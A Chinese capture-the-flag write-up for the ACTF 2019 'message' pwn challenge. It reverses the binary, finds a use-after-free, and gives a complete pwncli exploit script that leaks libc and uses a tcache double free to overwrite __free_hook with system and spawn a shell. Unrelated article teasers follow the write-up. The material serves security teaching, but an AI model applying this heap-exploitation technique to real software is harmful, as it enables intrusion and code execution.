buuoj-pwn-ACTF_2019_message

news/2024/7/5 5:57:26

buuoj-pwn-ACTF_2019_message

总结

  • 低版本存在uaf时优先考虑double free
  • 给信号注册函数的函数signal()

逆向分析

glibc版本

ubuntu18.04也就是glibc2.27

对于这道题,我们只需要知道该版本的tcache利用没啥限制,直接double free就好了

结构体typedef

简单逆向一下就知道结构体如下:

typedef struct message
{
	__int64 size;
	void *chunk_prt;

}chunk_;

关键函数

  • 初始化函数

    unsigned __int64 sub_400911()
    {
      unsigned __int64 v1; // [rsp+8h] [rbp-8h]
    
      v1 = __readfsqword(0x28u);
      setbuf(stdin, 0LL);
      setbuf(stdout, 0LL);
      setbuf(stderr, 0LL);
      signal(14, (__sighandler_t)handler);
      memset(&unk_602060, 0, 0x200uLL);
      alarm(0x3Cu);
      return __readfsqword(0x28u) ^ v1;
    }
    
    void __noreturn handler()
    {
      puts("See you next time. Bye~");
      exit(0);
    }
    

    给14这个信号注册了一个函数handler,现在我们可以查找一下14对应的事件

    编号	信号名称	缺省动作	说明
    1	SIGHUP	终止	终止控制终端或进程
    2	SIGINT	终止	键盘产生的中断(Ctrl-C)
    3	SIGQUIT	dump	键盘产生的退出
    4	SIGILL	dump	非法指令
    5	SIGTRAP	dump	debug中断
    6	SIGABRT/SIGIOT	dump	异常中止
    7	SIGBUS/SIGEMT	dump	总线异常/EMT指令
    8	SIGFPE	dump	浮点运算溢出
    9	SIGKILL	终止	强制进程终止
    10	SIGUSR1	终止	用户信号,进程可自定义用途
    11	SIGSEGV	dump	非法内存地址引用
    12	SIGUSR2	终止	用户信号,进程可自定义用途
    13	SIGPIPE	终止	向某个没有读取的管道中写入数据
    14	SIGALRM	终止	时钟中断(闹钟)
    15	SIGTERM	终止	进程终止
    16	SIGSTKFLT	终止	协处理器栈错误
    17	SIGCHLD	忽略	子进程退出或中断
    18	SIGCONT	继续	如进程停止状态则开始运行
    19	SIGSTOP	停止	停止进程运行
    20	SIGSTP	停止	键盘产生的停止
    21	SIGTTIN	停止	后台进程请求输入
    22	SIGTTOU	停止	后台进程请求输出
    23	SIGURG	忽略	socket发生紧急情况
    24	SIGXCPU	dump	CPU时间限制被打破
    25	SIGXFSZ	dump	文件大小限制被打破
    26	SIGVTALRM	终止	虚拟定时时钟
    27	SIGPROF	终止	profile timer clock
    28	SIGWINCH	忽略	窗口尺寸调整
    29	SIGIO/SIGPOLL	终止	I/O可用
    30	SIGPWR	终止	电源异常
    31	SIGSYS/SYSUNUSED	dump	系统调用异常
    

    可以看出,就是时钟到0后,退出。

    但是这也防止了调试,很奇怪,但是patch一下就好了

  • 菜单

    unsigned __int64 sub_4009A8()
    {
      unsigned __int64 v1; // [rsp+8h] [rbp-8h]
    
      v1 = __readfsqword(0x28u);
      puts("==============================");
      puts("    MESSAGE RECORD SYSTEM     ");
      puts("==============================");
      puts("1. Add message                ");
      puts("2. Delete message             ");
      puts("3. Edit message               ");
      puts("4. Display message            ");
      puts("5. Exit                       ");
      puts("==============================");
      printf("What's your choice: ");
      return __readfsqword(0x28u) ^ v1;
    }
    

    增删改查

  • add函数

unsigned __int64 add()
{
  int i; // [rsp+8h] [rbp-28h]
  int size; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( chunk_num <= 10 )
  {
    puts("Please input the length of message:");
    read(0, buf, 8uLL);
    size = atoi(buf);
    if ( size <= 0 )
    {
      puts("Length is invalid!");
    }
    else
    {
      for ( i = 0; i <= 9; ++i )
      {
        if ( !chunk_arr[i].chunk_prt )
        {
          LODWORD(chunk_arr[i].size) = size;
          chunk_arr[i].chunk_prt = malloc(size);
          puts("Please input the message:");
          read(0, chunk_arr[i].chunk_prt, size);
          ++chunk_num;
          return __readfsqword(0x28u) ^ v4;
        }
      }
    }
  }
  else
  {
    puts("Message is full!");
  }
  return __readfsqword(0x28u) ^ v4;

​ 最多可以申请10个chunk

  • del函数
unsigned __int64 del()
{
  int v1; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( chunk_num <= 0 )
  {
    puts("There is no message in system");
  }
  else
  {
    puts("Please input index of message you want to delete:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( v1 < 0 || v1 > 9 )
    {
      puts("Index is invalid!");
    }
    else
    {
      free(chunk_arr[v1].chunk_prt);
      LODWORD(chunk_arr[v1].size) = 0;
      --chunk_num;
    }
  }
  return __readfsqword(0x28u) ^ v3;
}

​ 存在UAF,此时应该去分析show函数

  • edit函数
unsigned __int64 edit()
{
  int v1; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( chunk_num <= 0 )
  {
    puts("No message can you edit");
  }
  else
  {
    puts("Please input index of message you want to edit:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( LODWORD(chunk_arr[v1].size) && v1 >= 0 && v1 <= 9 )
    {
      puts("Now you can edit the message:");
      read(0, chunk_arr[v1].chunk_prt, SLODWORD(chunk_arr[v1].size));
    }
    else
    {
      puts("Index is invalid!");
    }
  }
  return __readfsqword(0x28u) ^ v3;
}

存在if ( LODWORD(chunk_arr[v1].size) && v1 >= 0 && v1 <= 9 )

  • show函数
unsigned __int64 show()
{
  int v1; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( chunk_num <= 0 )
  {
    puts("No message in system");
  }
  else
  {
    puts("Please input index of message you want to display:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( LODWORD(chunk_arr[v1].size) && v1 >= 0 && v1 <= 9 )
      printf("The message: %s\n", (const char *)chunk_arr[v1].chunk_prt);
    else
      puts("Index is invalid!");
  }
  return __readfsqword(0x28u) ^ v3;
}

存在if ( LODWORD(chunk_arr[v1].size) && v1 >= 0 && v1 <= 9 )

不可以直接对释放后的chunk进行show

总结

  • 不可以直接对释放后的chunk进行show
  • add的size无限制
  • 联想double free

漏洞利用

主要思路

  • 直接泄露libc,然后tcache double free打hook即可

过程

  • 泄露libc
#---------leak_libc
add(0x420,'')
add(0x20,'/bin/sh\x00')
free(0)
add(0x30,'')
show(2)
lb = recv_current_libc_addr(0x3ec00a)
log_address_ex2(lb)
libc.address = lb
fh = libc.sym.__free_hook
log_address_ex2(fh)
  • double free

    #--------double free attack _free_hook
    free(3)
    free(2)
    free(2)
    add(0x30,flat(fh))
    
    add(0x30,flat(fh))
    add(0x30,flat(libc.sym.system))
    free(1)
    

EXP

#!/usr/bin/env python3

'''
Author: 7resp4ss
Date: 2022-12-10 23:25:48
LastEditTime: 2022-12-11 00:07:58
Description: 
'''

from pwncli import *

cli_script()

io = gift["io"]
elf = gift["elf"]
libc = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

if gift.remote:
    libc = ELF("./libc-2.27.so")
    gift["libc"] = libc

def cmd(idx):
    sla('choice:',str(idx))

def add(size,cont):
    cmd(1)
    sla('message:',str(size))
    sla('message',cont)

def free(idx):
    cmd(2)
    sla('delete:',str(idx))

def edit(idx,cont):
    cmd(3)
    sl(str(idx))
    sleep(0.01)
    sl(cont)

def show(idx):
    cmd(4)
    sl(str(idx))

#---------leak_libc
add(0x420,'')
add(0x20,'/bin/sh\x00')
free(0)
add(0x30,'')
add(0x30,'')

show(2)
lb = recv_current_libc_addr(0x3ec00a)
log_address_ex2(lb)
libc.address = lb
fh = libc.sym.__free_hook
log_address_ex2(fh)
#--------double free attack _free_hook
free(3)
free(2)
free(2)
add(0x30,flat(fh))

add(0x30,flat(fh))
add(0x30,flat(libc.sym.system))
free(1)




io.interactive()



http://lihuaxi.xjx100.cn/news/366963.html

相关文章

[附源码]Python计算机毕业设计SSM基于的在线怀旧电影歌曲听歌系统(程序+LW)

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

【全网惟一面向软件测试人员的Python基础教程】- 学Python之前要搞懂的道理

全网惟一面向软件测试人员的Python基础教程 起点&#xff1a;《python软件测试实战宝典》介绍 第一章 为什么软件测试人员要学习Python 第二章 学Python之前要搞懂的道理 文章目录全网惟一面向软件测试人员的Python基础教程计算机的本质是什么&#xff1f;什么是编程呢&#x…

(81)TCL脚本命令【string trimright】

(81)TCL脚本命令【string trimright】 1 目录 1.1 TCL简介 1.2 TCL的起源与发展 1.3 TCL语言与库介绍 1.4 TCL运行环境 1.5 TCL脚本命令【string trimright】 1.6 结束语 2 TCL简介 Tcl 语言的全称 Tool Command Language,即工具命令语言。这种需要在 EDA 工具中使…

notepad++安装autosave插件来自动保存

下载地址&#xff1a; github&#xff1a;https://github.com/francostellari/NppPlugins 蓝奏&#xff1a;https://wwzw.lanzouf.com/iaXuI0id51le 安装方法&#xff1a; 解压后&#xff0c;notepad&#xff0c;设置-导入-导入插件-导入解压后的dll文件&#xff0c;重启notep…

根文件系统原理简述

概述 根文件系统独立于内核&#xff0c;内核不包括根文件系统&#xff0c;内核根文件系统根文件系统下的程序和配置文件就等于发行版。内核本身只提供基本的架构&#xff0c;仅有内核无法正常工作。 什么是根文件系统 文件系统是什么&#xff1f;用于管理存储设备的系统&…

第1次升级和移植uboot纪实(2017.09->2022.04)

目录 0. 前言 1. SPL 2. imximage.cfg 3. CONFIG_XX 与 条件编译 4. 总结&#xff1a;学会收敛问题 0. 前言 这次的工作主要是把某项目设备上的uboot版本从2017.09升级到2022.04&#xff0c;是作为该项目整个BSP升级计划的一部分。2017.09版本上的设备板级文件也要适当移…

gcc 4.8.5 的string问题

gcc 4.8.5及一下版本 的string 因为内部内存管理采用了COW的方式&#xff0c;导致了string在多线程的状态下容易崩溃。崩的很没有规律&#xff0c;表现就是string在赋值的时候就莫名其妙的崩了&#xff0c;查看堆栈&#xff0c;你也看不出啥。崩溃的很随机。 为了避免崩溃&…

Python修改列表元素有什么方法?

增删改查是处理数据最常见的方法&#xff0c;前两种说过了&#xff0c;这里就要说说python提供的两种修改列表元素的方法&#xff0c;一种是修改单个元素&#xff0c;还有一种的修改一组数据的方法。 一、修改单个元素 修改单个元素从原理上讲就是重新给指定位置的元素赋值。…